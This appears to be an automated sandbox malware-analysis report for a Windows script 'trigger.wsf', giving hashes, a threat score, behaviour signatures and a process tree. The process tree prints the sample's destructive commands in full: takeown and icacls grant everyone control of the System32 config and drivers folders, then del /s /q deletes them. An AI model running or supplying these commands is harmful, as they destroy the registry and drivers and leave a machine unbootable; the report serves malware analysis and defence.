Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15-08-2024 21:18

General

  • Target

    trigger.wsf

  • Size

    1KB

  • MD5

    a5db60d9ff56ef8720d8ed2d9e3d1c40

  • SHA1

    edf26211e76a660f1b4d514000f5b2b12b0b4441

  • SHA256

    22ddb640309560907cba8c9dc61f15929a88952043411cb95a707fd44a238282

  • SHA512

    f1437706f46e3e3daaed930c5c12ea1f05e947ab691083ac9968357e84034d9f99ffb07fc3d8fea36d04a12ff4adf133f93aa931e1b9fec9ef9e509eabc9244b

Score
8/10

Malware Config

Signatures

  • Possible privilege escalation attempt 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.wsf"
    1⤵
      PID:2556
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1064
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\system32\takeown.exe
            takeown /f c:\windows\system32\config\*
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2184
          • C:\Windows\system32\icacls.exe
            icacls c:\windows\system32\config\* /grant everyone:(f)
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2860
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3744
          • C:\Windows\system32\takeown.exe
            takeown /f c:\windows\system32\drivers\*
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:3384
          • C:\Windows\system32\icacls.exe
            icacls c:\windows\system32\drivers\* /grant everyone:(f)
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:920
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3476
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1768
          • C:\Windows\system32\takeown.exe
            takeown /f c:\windows\system32\config\*
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:3772
          • C:\Windows\system32\icacls.exe
            icacls c:\windows\system32\config\* /grant everyone:(f)
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:652
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2424
          • C:\Windows\system32\takeown.exe
            takeown /f c:\windows\system32\drivers\*
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1888
          • C:\Windows\system32\icacls.exe
            icacls c:\windows\system32\drivers\* /grant everyone:(f)
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2784

      Network

      MITRE ATT&CK Enterprise v15

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